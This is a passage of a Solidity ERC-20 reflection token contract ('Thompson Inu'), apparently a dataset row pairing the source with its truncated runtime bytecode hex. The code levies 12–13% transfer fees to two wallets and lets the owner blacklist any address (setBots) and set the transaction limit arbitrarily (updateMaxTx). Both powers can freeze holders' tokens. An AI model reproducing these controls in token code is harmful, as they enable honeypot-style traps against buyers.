return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isBuy(from)) {
if (_buyMap[from] != 0 &&
(_buyMap[from] + (24 hours) >= block.timestamp)) {
_feeAddr1 = 2;
_feeAddr2 = 11;
} else {
_feeAddr1 = 1;
_feeAddr2 = 11;
}
} else {
if (_buyMap[to] == 0) {
_buyMap[to] = block.timestamp;
}
_feeAddr1 = 1;
_feeAddr2 = 11;
}
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(cooldown[to] < block.timestamp);
require(amount <= _maxTxAmount);
require(balanceOf(to) + amount <= maxWalletAmount, "Max wallet exceeded");
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 111111111 * 10 ** 9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 11111111111 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function updateMaxTx (uint256 fee) public onlyOwner {
_maxTxAmount = fee;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c2d0ffca1161006f578063c2d0ffca146103d7578063c3c8cd8014610400578063c9567bf914610417578063cc653b441461042e578063dd62ed3e1461046b578063ff872602146104a857610135565b80638da5cb5b146102f257806395d89b411461031d578063a9059cbb14610348578063b515566a14610385578063bc337182146103ae57610135565b8063313ce567116100f2578063313ce567146102335780635932ead11461025e5780636fc3eaec1461028757806370a082311461029e578063715018a6146102db57610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063273123b71461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104bf565b60405161015c9190612f21565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190612a67565b6104fc565b6040516101999190612f06565b60405180910390f35b3480156101ae57600080fd5b506101b761051a565b6040516101c491906130a3565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190612a18565b61052a565b6040516102019190612f06565b60405180910390f35b34801561021657600080fd5b50610231600480360381019061022c919061298a565b610603565b005b34801561023f57600080fd5b506102486106f3565b6040516102559190613118565b60405180910390f35b34801561026a57600080fd5b5061028560048036038101906102809190612ae4565b6106fc565b005b34801561029357600080fd5b5061029c6107ae565b005b3480156102aa57600080fd5b506102c560048036038101906102c0919061298a565b610820565b6040516102d291906130a3565b60405180910390f35b3480156102e757600080fd5b506102f0610871565b005b3480156102fe57600080fd5b506103076109c4565b6040516103149190612e38565b60405180910390f35b34801561032957600080fd5b506103326109ed565b60405161033f9190612f21565b60405180910390f35b34801561035457600080fd5b5061036f600480360381019061036a9190612a67565b610a2a565b60405161037c9190612f06565b60405180910390f35b34801561039157600080fd5b506103ac60048036038101906103a79190612aa3565b610a48565b005b3480156103ba57600080fd5b506103d560048036038101906103d09190612b36565b610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190612b36565b610c37565b005b34801561040c57600080fd5b50610415610cd6565b005b34801561042357600080fd5b5061042c610d50565b005b34801561043a57600080fd5b506104556004803603810190610450919061298a565b6112ab565b60405161046291906130a3565b60405180910390f35b34801561047757600080fd5b50610492600480360381019061048d91906129dc565b6112f4565b60405161049f91906130a3565b60405180910390f35b3480156104b457600080fd5b506104bd61137b565b005b60606040518060400160405280600c81526020017f54686f6d70736f6e20496e750000000000000000000000000000000000000000815250905090565b6000610510610509611421565b8484611429565b6001905092915050565b6000679a3298afaf0d0600905090565b60006105378484846115f4565b6105f884610543611421565b6105f3856040518060600160405280602881526020016137b360289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105a9611421565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca29092919063ffffffff16565b611429565b600190509392505050565b61060b611421565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610698576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068f90612fe3565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610704611421565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610791576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078890612fe3565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107ef611421565b73ffffffffffffffffffffffffffffffffffffffff161461080f57600080fd5b600047905061081d81611d06565b50565b600061086a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e01565b9050919050565b610879611421565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108fd90612fe3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4d534e494e550000000000000000000000000000000000000000000000000000815250905090565b6000610a3e610a37611421565b84846115f4565b6001905092915050565b610a50611421565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610add576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad490612fe3565b60405180910390fd5b60005b8151811015610b9457600160076000848481518110610b28577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b8c906133b9565b915050610ae0565b5050565b610ba0611421565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2490612fe3565b60405180910390fd5b8060118190555050565b610c3f611421565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ccc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc390612fe3565b60405180910390fd5b8060118190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d17611421565b73ffffffffffffffffffffffffffffffffffffffff1614610d3757600080fd5b6000610d4230610820565b9050610d4d81611e6f565b50565b610d58611421565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddc90612fe3565b60405180910390fd5b601060149054906101000a900460ff1615610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c90613063565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ec430600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16679a3298afaf0d0600611429565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f0a57600080fd5b505afa158015610f1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4291906129b3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fa457600080fd5b505afa158015610fb8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fdc91906129b3565b6040518363ffffffff1660e01b8152600401610ff9929190612e53565b602060405180830381600087803b15801561101357600080fd5b505af1158015611027573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104b91906129b3565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110d430610820565b6000806110df6109c4565b426040518863ffffffff1660e01b815260040161110196959493929190612ea5565b6060604051808303818588803b15801561111a57600080fd5b505af115801561112e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111539190612b5f565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff02191690831515021790555067018abef77dc106006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611255929190612e7c565b602060405180830381600087803b15801561126f57600080fd5b505af1158015611283573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a79190612b0d565b5050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611383611421565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611410576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140790612fe3565b60405180910390fd5b679a3298afaf0d0600601181905550565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611499576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149090613043565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611509576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150090612f83565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115e791906130a3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611664576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165b90613023565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cb90612f43565b60405180910390fd5b60008111611717576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170e90613003565b60405180910390fd5b61172083612169565b6117f1576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141580156117c157504262015180600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117be91906131d9565b10155b156117db576002600b81905550600b600c819055506117ec565b6001600b81905550600b600c819055505b61188f565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561187e5742600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600b81905550600b600c819055505b6118976109c4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561190557506118d56109c4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c9257600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119ae5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119b757600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a625750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ab85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ad05750601060179054906101000a900460ff165b15611bd85742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611b2057600080fd5b601154811115611b2f57600080fd5b60125481611b3c84610820565b611b4691906131d9565b1115611b87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7e90613083565b60405180910390fd5b601e42611b9491906131d9565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611be330610820565b9050601060159054906101000a900460ff16158015611c505750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c685750601060169054906101000a900460ff165b15611c9057611c7681611e6f565b60004790506000811115611c8e57611c8d47611d06565b5b505b505b611c9d8383836121c3565b505050565b6000838311158290611cea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce19190612f21565b60405180910390fd5b5060008385611cf991906132ba565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d566002846121d390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d81573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611dd26002846121d390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611dfd573d6000803e3d6000fd5b5050565b6000600954821115611e48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3f90612f63565b60405180910390fd5b6000611e5261221d565b9050611e6781846121d390919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ecd577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611efb5781602001602082028036833780820191505090505b5090503081600081518110611f39577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fdb57600080fd5b505afa158015611fef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061201391906129b3565b8160018151811061204d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120b430600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611429565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121189594939291906130be565b600060405180830381600087803b15801561213257600080fd5b505af1158015612146573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6121ce838383612248565b505050565b600061221583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612413565b905092915050565b600080600061222a612476565b9150915061224181836121d390919063ffffffff16565b9250505090565b60008060008060008061225a876124d5565b9550955095509550955095506122b886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061234d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612399816125e5565b6123a384836126a2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161240091906130a3565b60405180910390a3505050505050505050565b6000808311829061245a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124519190612f21565b60405180910390fd5b5060008385612469919061322f565b9050809150509392505050565b600080600060095490506000679a3298afaf0d060090506124aa679a3298afaf0d06006009546121d390919063ffffffff16565b8210156124c857600954679a3298afaf0d06009350935050506124d1565b81819350935050505b9091565b60008060008060008060008060006124f28a600b54600c546126dc565b925092509250600061250261221d565b905060008060006125158e878787612772565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061257f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ca2565b905092915050565b600080828461259691906131d9565b9050838110156125db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d290612fa3565b60405180910390fd5b8091505092915050565b60006125ef61221d565b9050600061260682846127fb90919063ffffffff16565b905061265a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126b78260095461253d90919063ffffffff16565b6009819055506126d281600a5461258790919063ffffffff16565b600a819055505050565b60008060008061270860646126fa888a6127fb90919063ffffffff16565b6121d390919063ffffffff16565b905060006127326064612724888b6127fb90919063ffffffff16565b6121d390919063ffffffff16565b9050600061275b8261274d858c61253d90919063ffffffff16565b61253d90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061278b85896127fb90919063ffffffff16565b905060006127a286896127fb90919063ffffffff16565b905060006127b987896127fb90919063ffffffff16565b905060006127e2826127d4858761253d90919063ffffffff16565b61253d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561280e5760009050612870565b6000828461281c9190613260565b905082848261282b919061322f565b1461286b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286290612fc3565b60405180910390fd5b809150505b92915050565b600061288961288484613158565b613133565b905080838252602082019050828560208602820111156128a857600080fd5b60005b858110156128d857816128be88826128e2565b8452602084019350602083019250506001810190506128ab565b5050509392505050565b6000813590506128f18161376d565b92915050565b6000815190506129068161376d565b92915050565b600082601f83011261291d57600080fd5b813561292d848260208601612876565b91505092915050565b60008135905061294581613784565b92915050565b60008151905061295a81613784565b92915050565b60008135905061296f8161379b565b92915050565b6000815190506129848161379b565b92915050565b60006020828403121561299c57600080fd5b60006129aa848285016128e2565b91505092915050565b6000602082840312156129c557600080fd5b60006129d3848285016128f7565b91505092915050565b600080604083850312156129ef57600080fd5b60006129fd858286016128e2565b9250506020612a0e858286016128e2565b9150509250929050565b600080600060608486031215612a2d57600080fd5b6000612a3b868287016128e2565b9350506020612a4c868287016128e2565b9250506040612a5d86828701612960565b9150509250925092565b60008060408385031215612a7a57600080fd5b6000612a88858286016128e2565b9250506020612a9985828601612960565b9150509250929050565b600060208284031215612ab557600080fd5b600082013567ffffffffffffffff811115612acf57600080fd5b612adb8482850161290c565b91505092915050565b600060208284031215612af657600080fd5b6000612b0484828501612936565b91505092915050565b600060208284031215612b1f57600080fd5b6000612b2d8482850161294b565b91505092915050565b600060208284031215612b4857600080fd5b6000612b5684828501612960565b91505092915050565b600080600060608486031215612b7457600080fd5b6000612b8286828701612975565b9350506020612b9386828701612975565b9250506040612ba486828701612975565b9150509250925092565b6000612bba8383612bc6565b60208301905092915050565b612bcf816132ee565b82525050565b612bde816132ee565b82525050565b6000612bef82613194565b612bf981856131b7565b9350612c0483613184565b8060005b83811015612c35578151612c1c8882612bae565b9750612c27836131aa565b925050600181019050612c08565b5085935050505092915050565b612c4b81613300565b82525050565b612c5a81613343565b82525050565b6000612c6b8261319f565b612c7581856131c8565b9350612c85818560208601613355565b612c8e8161348f565b840191505092915050565b6000612ca66023836131c8565b9150612cb1826134a0565b604082019050919050565b6000612cc9602a836131c8565b9150612cd4826134ef565b604082019050919050565b6000612cec6022836131c8565b9150612cf78261353e565b604082019050919050565b6000612d0f601b836131c8565b9150612d1a8261358d565b602082019050919050565b6000612d326021836131c8565b9150612d3d826135b6565b604082019050919050565b6000612d556020836131c8565b9150612d6082613605565b602082019050919050565b6000612d786029836131c8565b9150612d838261362e565b604082019050919050565b6000612d9b6025836131c8565b9150612da68261367d565b604082019050919050565b6000612dbe6024836131c8565b9150612dc9826136cc565b604082019050919050565b6000612de16017836131c8565b9150612dec8261371b565b602082019050919050565b6000612e046013836131c8565b9150612e0f82613744565b602082019050919050565b612e238161332c565b82525050565b612e3281613336565b82525050565b6000602082019050612e4d6000830184612bd5565b92915050565b6000604082019050612e686000830185612bd5565b612e756020830184612bd5565b9392505050565b6000604082019050612e916000830185612bd5565b612e9e6020830184612e1a565b9392505050565b600060c082019050612eba6000830189612bd5565b612ec76020830188612e1a565b612ed46040830187612c51565b612ee16060830186612c51565b612eee6080830185612bd5565b612efb60a0830184612e1a565b979650505050505050565b6000602082019050612f1b6000830184612c42565b92915050565b60006020820190508181036000830152612f3b8184612c60565b905092915050565b60006020820190508181036000830152612f5c81612c99565b9050919050565b60006020820190508181036000830152612f7c81612cbc565b9050919050565b60006020820190508181036000830152612f9c81612cdf565b9050919050565b60006020820190508181036000830152612fbc81612d02565b9050919050565b60006020820190508181036000830152612fdc81612d25565b9050919050565b60006020820190508181036000830152612ffc81612d48565b9050919050565b6000602082019050818103600083015261301c81612d6b565b9050919050565b6000602082019050818103600083015261303c81612d8e565b9050919050565b6000602082019050818103600083015261305c81612db1565b9050919050565b6000602082019050818103600083015261307c81612dd4565b9050919050565b6000602082019050818103600083015261309c81612df7565b9050919050565b60006020820190506130b86000830184612e1a565b92915050565b600060a0820190506130d36000830188612e1a565b6130e06020830187612c51565b81810360408301526130f28186612be4565b90506131016060830185612bd5565b61310e6080830184612e1a565b9695505050505050565b600060208201905061312d6000830184612e29565b92915050565b600061313d61314e565b90506131498282613388565b919050565b6000604051905090565b600067ffffffffffffffff82111561317357613172613460565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131e48261332c565b91506131ef8361332c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322457613223613402565b5b828201905092915050565b600061323a8261332c565b91506132458361332c565b92508261325557613254613431565b5b828204905092915050565b600061326b8261332c565b91506132768361332c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132af576132ae613402565b5b828202905092915050565b60006132c58261332c565b91506132d08361332c565b9250828210156132e3576132e2613402565b5b828203905092915050565b60006132f98261330c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061334e8261332c565b9050919050565b60005b83811015613373578082015181840152602081019050613358565b83811115613382576000848401525b50505050565b6133918261348f565b810181811067ffffffffffffffff821117156133b0576133af613460565b5b80604052505050565b60006133c48261332c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133f7576133f6613402565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8